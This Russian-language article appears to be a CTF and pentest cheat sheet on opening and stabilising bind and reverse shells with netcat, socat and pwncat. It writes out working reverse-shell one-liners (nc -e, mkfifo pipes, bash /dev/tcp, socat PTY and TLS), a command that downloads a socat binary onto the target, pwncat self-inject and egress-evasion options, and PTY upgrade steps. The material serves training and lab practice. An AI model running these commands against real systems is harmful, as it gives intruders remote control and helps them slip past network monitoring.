
Эксплойт переполнения буфера отработал за тридцать секунд, а стабильный интерактивный шелл я поднимал ещё пятнадцать минут — на целевой машине стоял OpenBSD-netcat без флага -e, Ctrl+C убивал соединение, и даже cat выводил текст без переноса строк. Знакомая картина для CTF-задач из категорий pwn и misc: RCE получен, а полноценного доступа нет. Эта шпаргалка по netcat, socat и pwncat разбирает три сетевые утилиты CTF через конкретные сценарии — какой инструмент запускать первым, когда переключаться на следующий и почему named pipes решают главную проблему с OpenBSD-версией nc.
Прежде чем набирать любую команду, разберитесь с разницей между двумя типами шеллов. Путаница здесь — самая частая причина «а почему не подключается» у тех, кто только начинает решать CTF-задачи с шеллами.
Bind shell — целевая машина открывает порт и ждёт входящего подключения. Вы, как атакующий, подключаетесь к этому порту. Проблема: файрвол на целевой машине почти всегда блокирует входящие соединения. В CTF bind shell работает, когда задача специально оставляет порт открытым, но на реальном пентесте (особенно внешнем) это почти никогда не проходит через NAT и firewall.
Reverse shell — целевая машина сама инициирует исходящее подключение к вам. Вы заранее запускаете nc listener на своей машине и ждёте. Почему это работает чаще: исходящий трафик редко фильтруется так же строго, как входящий. Согласно описанию техники от Invicti, reverse shell — стандартный post-exploitation приём именно потому, что «outgoing connections are rarely as tightly restricted, even when inbound access is blocked by firewalls, NAT, or containerized environments».
Простая мнемоника: bind shell — жертва слушает, атакующий подключается. Reverse shell — атакующий слушает, жертва подключается. Не уверены, что выбрать? Начинайте с reverse shell.
В терминологии MITRE ATT&CK получение шелла — это пересечение тактик Execution (T1059.004 — Unix Shell) и Command and Control (T1095 — Non-Application Layer Protocol). Полная цепочка:
Без стабильного шелла на третьем шаге дальше двигаться невозможно — ни LinPEAS для поиска путей повышения привилегий не запустить, ни файлы на целевую машину не передать (T1105 — Ingress Tool Transfer).
brew install socat). Windows — только через WSL2127.0.0.1which nc или which ncat). Socat: sudo apt install socat. pwncat (cytopia): pip install pwncat (для calebstewart/pwncat — pip install pwncat-cs)Netcat существует в нескольких реализациях, и вот тут начинается весёлая жизнь. GNU Netcat поддерживает -e, OpenBSD Netcat (стоит по умолчанию в Ubuntu/Debian) — нет, а Nmap Ncat — это расширенная версия с SSL. Все три активно поддерживаются в составе своих проектов. Различие между ними — главный источник головной боли у новичков, и русскоязычные материалы этот момент практически не объясняют.
Проверить, что стоит у вас: nc -h 2>&1 | head -3. Видите в выводе «OpenBSD netcat»? Значит флаг -e недоступен, и прямая команда netcat шелл через -e /bin/sh не сработает. Не паникуйте — обход есть, и он простой.
На стороне атакующего запускаете nc listener: nc -lnvp 4444. Разберём каждый флаг: -l — listen mode (ждать подключения), -n — без DNS-резолва (быстрее), -v — verbose (показывает входящие подключения), -p 4444 — порт для прослушивания.
На стороне жертвы команда зависит от версии:
| Версия nc | Команда на жертве | Примечание |
|---|---|---|
| GNU netcat | nc -e /bin/sh 10.0.0.1 4444 |
Флаг -e передаёт stdin/stdout в указанную программу |
| Nmap ncat | ncat -e /bin/sh 10.0.0.1 4444 |
Аналогичный синтаксис |
| OpenBSD netcat | Напрямую не работает | Нужен обход через named pipes (ниже) |
[Применимо: CTF-задачи, внутренний пентест. На внешнем пентесте порт 4444 почти всегда фильтруется — используйте 80 или 443, которые обычно разрешены для исходящего трафика.]
Иногда reverse shell невозможен — у атакующего нет публичного IP, или сеть CTF-площадки не маршрутизирует исходящий трафик с целевой машины. Тогда на целевой машине запускаете bind shell: nc -lnvp 8080 -e /bin/sh (GNU netcat), а со своей стороны подключаетесь: nc -nv 192.168.1.100 8080.
Ограничение bind shell в CTF: открытый порт виден всем участникам. В многопользовательских соревнованиях (где несколько команд атакуют одну машину) другая команда может подключиться к вашему шеллу раньше вас. Ещё один минус — если на целевой машине включён firewall, входящее подключение на нестандартный порт будет заблокировано.
Самый частый вопрос в CTF-чатах: «почему nc -e выдаёт ошибку?» OpenBSD-версия принципиально не поддерживает -e и -c по соображениям безопасности. Обход — через named pipe (именованный канал FIFO). Работает на любой UNIX-системе, где есть mkfifo:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f
Что здесь происходит: mkfifo /tmp/f создаёт именованный канал — специальный файл, который работает как труба между процессами. cat /tmp/f читает из этого канала и передаёт прочитанное в /bin/sh -i (интерактивный шелл). Вывод шелла через 2>&1 (stderr + stdout) уходит в nc, который отправляет его атакующему. Ответ атакующего возвращается через nc обратно в файл /tmp/f — замкнутый цикл. rm /tmp/f в начале удаляет остатки от предыдущих попыток.
Эта конструкция из коллекции PayloadsAllTheThings (Reverse Shell Cheat Sheet от SwisskyRepo на GitHub) — проверенный рабочий вариант, который закрывает проблему отсутствия -e на любой Linux-системе.
Ещё вариант для bash (без named pipes): bash -i >& /dev/tcp/10.0.0.1/4242 0>&1. Тут используется встроенная в bash фича network redirection через /dev/tcp/<host>/<port>, и не нужен ни netcat, ни mkfifo. Минус: работает только в bash (не в sh, dash или zsh), и в некоторых дистрибутивах bash собран без поддержки net redirections. Проверка: bash -c "cat < /dev/tcp/127.0.0.1/22".
Socat — «socket cat» — умеет сильно больше netcat, но требует отдельной установки: sudo apt install socat на Debian/Ubuntu. Проект активно поддерживается и лежит в стандартных репозиториях всех основных Linux-дистрибутивов. Два главных преимущества socat для CTF: нативная поддержка PTY (псевдотерминала) и TLS-шифрование прямо из коробки.
Обычный reverse shell через netcat — это raw TCP-поток: нет автодополнения по Tab, нет истории команд, Ctrl+C убивает соединение вместо текущего процесса, а vim и nano работают криво или не работают вовсе. Socat решает все эти проблемы, создавая полноценный PTY-терминал:
# Атакующий (listener с PTY)
socat -d -d TCP-LISTEN:4242,reuseaddr file:`tty`,raw,echo=0
# Жертва (подключение с PTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Разберём параметры на стороне жертвы: exec:'bash -li' запускает bash в интерактивном login-режиме, pty выделяет псевдотерминал, stderr перенаправляет поток ошибок, setsid создаёт новую сессию процесса, sigint — корректная обработка Ctrl+C, sane устанавливает нормальные настройки терминала. Результат — полноценный интерактивный шелл с Tab-completion, историей команд и корректной работой текстовых редакторов.
Ограничение: socat должен стоять на обеих сторонах — и у вас, и на целевой машине. Если на цели socat нет, можно загрузить статический бинарь. По информации из PayloadsAllTheThings, статические сборки socat для Linux x86_64 доступны в репозитории andrew-d/static-binaries на GitHub: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat. Загрузка возможна, только если есть запись в файловую систему и исходящий доступ по HTTP.
[Применимо: CTF-задачи любого типа, внутренний пентест. На внешнем пентесте — если socat доступен на цели.]
В CTF-задачах шифрование обычно не нужно — трафик идёт по внутренней сети. Но на реальном пентесте незашифрованный socat reverse shell — это индикатор компрометации (IoC), который IDS/IPS перехватит и разберёт по косточкам. Socat позволяет обернуть трафик в TLS.
Подготовка на стороне атакующего: генерация самоподписанного сертификата командой openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt, затем объединение файлов cat shell.key shell.crt > shell.pem.
Listener с TLS: socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0,fork file:``tty``,raw,echo=0. На стороне жертвы: socat OPENSSL:10.0.0.1:4443,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane. Параметр verify=0 отключает проверку сертификата — для self-signed это нормально, цель не в доверии к CA, а в шифровании потока данных.
Такой канал маппится на T1572 (Protocol Tunneling) по MITRE ATT&CK — трафик обёрнут в легитимный протокол, что затрудняет анализ содержимого на сетевых устройствах.
В русскоязычных материалах pwncat инструмент упоминают как «netcat на стероидах», но без важного уточнения: под этим именем живут два совершенно разных проекта с разными задачами, и их постоянно путают.
Первый — cytopia/pwncat (GitHub: cytopia/pwncat) — лёгкий standalone-инструмент в стиле netcat. Написан на чистом Python без внешних зависимостей. Что из него полезно для CTF:
Автореконнект — если Ctrl+C случайно прервал соединение, reverse shell автоматически переподключается к вашему listener. Запуск на жертве: pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1. Это решает одну из самых бесящих проблем при работе с обычным netcat.
Self-inject — при получении базового reverse shell через listener pwncat автоматически выполняет на жертве команду, поднимающую дополнительные параллельные reverse shell-сессии. Это страховка от потери основного канала, а не «неубиваемый» шелл. Listener: pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445. Можно запустить сразу несколько сессий: --self-inject /bin/sh:10.0.0.1:4444-4446 задаст round-robin по портам 4444, 4445 и 4446 для обхода EGRESS-фильтрации.
Обход файрволов — обёртка трафика в HTTP/HTTPS через флаги --http и --https (T1071.001 — Web Protocols), round-robin по портам для обхода EGRESS-фильтрации.
Встроенный порт-сканер — без необходимости тащить nmap: pwncat -z 10.0.0.1 1-65535 --banner для TCP с определением версий сервисов, pwncat -z 10.0.0.1 80,443,8080 -u для UDP.
Bind shell с автоматическим переподключением клиентов: pwncat -l -e '/bin/bash' 8080 -k (флаг -k — keep-open, принимает новые подключения после отключения предыдущего).
Совершенно другой проект (GitHub: calebstewart/pwncat) — полноценный post-exploitation фреймворк на Python 3. Устанавливается как pip install pwncat-cs (пакет называется именно pwncat-cs, не pwncat — путаница тут гарантирована). Что умеет:
privesc — команда privesc -l показывает найденные возможности, privesc -e -u root пытается эксплуатироватьАвтор статьи на securixy.kz описывает, что именно calebstewart/pwncat позволяет решать CTF-машины «в один проход»: эксплуатация уязвимости, получение сессии, поиск привеска, повышение привилегий — в едином workflow.
Ограничение обоих pwncat-проектов: оба требуют Python. Cytopia/pwncat — на стороне запуска (атакующий или жертва). Calebstewart/pwncat — на стороне атакующего. На минималистичных контейнерах без Python (Alpine-based Docker, embedded-системы) pwncat не запустится — остаётся netcat через named pipes.
| Критерий | netcat | socat | pwncat (cytopia) |
|---|---|---|---|
| Доступность на цели | Предустановлен | Требует установки | Требует Python |
| PTY/интерактивный шелл | Нет, ручной upgrade | Нативно | Частично |
| Шифрование трафика | Нет | TLS нативно | HTTP/HTTPS-обёртка |
| Защита от Ctrl+C | Нет | Нет | Да, автореконнект |
| Трансфер файлов (T1105) | Через перенаправление I/O | Через перенаправление I/O | Встроенный (calebstewart) |
| Self-inject | Нет | Нет | Да |
| Размер/footprint | ~30 КБ | ~380 КБ | Python-зависимость |
| Детектируемость | Низкая (системный бинарь) | Средняя | Средняя-высокая |
| Когда использовать | Быстрый listener, первая проба | Нужен PTY или шифрование | Длительная работа, нужна стабильность |
| Когда НЕ использовать | Нужен стабильный PTY | Не установлен на цели | Минималистичная среда без Python |
Алгоритм выбора для CTF инструментов пентест-направления:
nc -lnvp <port> — listener всегда netcat, он уже есть на машинеnc -e работает? Используйте его для reverse shellnc -e не работает (OpenBSD)? Обход через named pipesДаже получив reverse shell через netcat, вы работаете в «тупом» режиме — без PTY. Tab не дополняет, стрелки вверх/вниз печатают мусор, Ctrl+C убивает всё соединение, а vim/nano не запускаются. Стандартная последовательность upgrade — работает на любой Linux-системе с Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажмите Ctrl+Z — шелл уходит в background
stty raw -echo; fg
# Шелл вернётся в foreground с PTY
export TERM=xterm
Пошагово: pty.spawn создаёт псевдотерминал внутри TCP-соединения. Ctrl+Z приостанавливает nc-процесс на вашей машине. stty raw -echo отключает локальную обработку ввода — теперь каждое нажатие клавиши уходит напрямую в удалённый шелл. fg возвращает nc из фона. export TERM=xterm задаёт тип терминала для корректной работы curses-приложений.
Если Python отсутствует, альтернативы для создания PTY: script -qc /bin/bash /dev/null (util-linux на Linux; на BSD/macOS синтаксис другой). После script всё равно нужен backgrounding и stty raw -echo; fg для полного PTY-upgrade. Ещё варианты: python2 -c 'import pty; pty.spawn("/bin/bash")' (только на legacy-системах — Python 2 EOL с 2020 г., в современных дистрибутивах отсутствует) или /usr/bin/env expect -c 'spawn bash; interact' (если установлен expect). После upgrade подстройте размер терминала: stty rows 40 cols 120 — значения должны совпадать с реальным размером вашего окна терминала, иначе вывод длинных строк будет обрезаться или «ломаться».
При работе через socat с параметром pty этот upgrade не нужен — PTY создаётся автоматически при подключении. Это одна из главных причин, почему для длительных сессий socat предпочтительнее netcat.
Ни netcat, ни socat, ни pwncat не помогут в ряде сценариев. Понимание этих ограничений — то, что отличает решателя CTF-задач от практикующего пентестера.
Stateful firewall с DPI: если на сети стоит NGFW (Palo Alto, Fortinet, Check Point) с инспекцией трафика — даже reverse shell на порту 443 будет обнаружен. Содержимое потока не соответствует TLS-хэндшейку при использовании голого netcat. Socat с TLS частично решает проблему, но SNI и fingerprint самоподписанного сертификата могут вызвать алерт на продвинутых решениях.
EDR на целевой машине: CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint — все они детектируют запуск nc -e /bin/sh или socat exec:bash как подозрительную активность. В CTF-задачах EDR обычно отсутствует, но на реальном пентесте (внутреннем или внешнем) потребуются техники обхода, выходящие за рамки этой шпаргалки.
Сети без исходящего доступа: если целевая машина не имеет маршрута наружу (air-gapped сегмент, строгая EGRESS-фильтрация) — reverse shell физически не подключится к вашему listener. Остаётся bind shell (если входящий трафик разрешён) или DNS/ICMP-туннелирование (T1572 — Protocol Tunneling).
Минималистичные контейнеры: Docker-контейнер на базе Alpine без bash, без Python, без netcat — встречается в web-категориях CTF. Тут поможет загрузка статического бинаря (busybox nc или static socat) через уязвимость, но только если есть запись в файловую систему и исходящий HTTP.
UDP и потеря пакетов: UDP-режим socat и pwncat (-u) не гарантирует доставку. На нестабильных каналах (VPN через публичный интернет, Wi-Fi CTF-площадки) UDP-шелл будет «рваться». Для CTF используйте TCP — он надёжнее, хотя и оставляет больше следов в логах.
Для отработки всех команд из этой netcat команды шпаргалки достаточно двух терминалов на одной машине. Откройте два окна в Kali Linux (или любом Linux с netcat и socat):
Вместо удалённого IP используйте 127.0.0.1. Например: в терминале 1 — nc -lnvp 4444, в терминале 2 — bash -i >& /dev/tcp/127.0.0.1/4444 0>&1. Получили шелл? Попробуйте named pipes. Потом socat с PTY. Потом upgrade через pty.spawn. Последовательное прохождение всех вариантов из статьи занимает около часа — и после этого на CTF вы будете выбирать нужную команду за секунды, а не гуглить каждый раз.
Для полноценной работы с отдельными машинами: Kali Linux VM (атакующий, 2 ГБ RAM) + Metasploitable 2 или любая уязвимая VM (жертва, 1 ГБ RAM). Обе VM в одной виртуальной сети — NAT Network или Host-Only в VirtualBox.
Три инструмента — netcat, socat, pwncat — закрывают подавляющее большинство ситуаций с захватом шелла в CTF и на начальных этапах пентеста. Дальше начинается территория, где голый reverse shell без шифрования и обфускации живёт ровно до первого алерта в SIEM. По моему опыту, новички слишком долго задерживаются на этапе «научился поднимать шелл через netcat» и не переходят к вопросу «а что делает сеть, пока я работаю в этом шелле». Именно этот переход — от механики CTF к операционной безопасности — отделяет решателя задач от пентестера. Проблема чаще не в отсутствии продвинутых знаний, а в отсутствии базы: как TCP работает на уровне ниже чем nc -lnvp, что видит firewall, что пишется в лог. Прогноз простой: через год-два CTF-платформы начнут включать EDR и сетевой мониторинг в стандартные задачи категории pwn — и тот, кто привык работать только с голым netcat без понимания детектируемости, упрётся в стену. Если хочется выстроить фундамент системно — на IB Basics показывают, что делать в первый месяц после «хочу в ИБ».
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...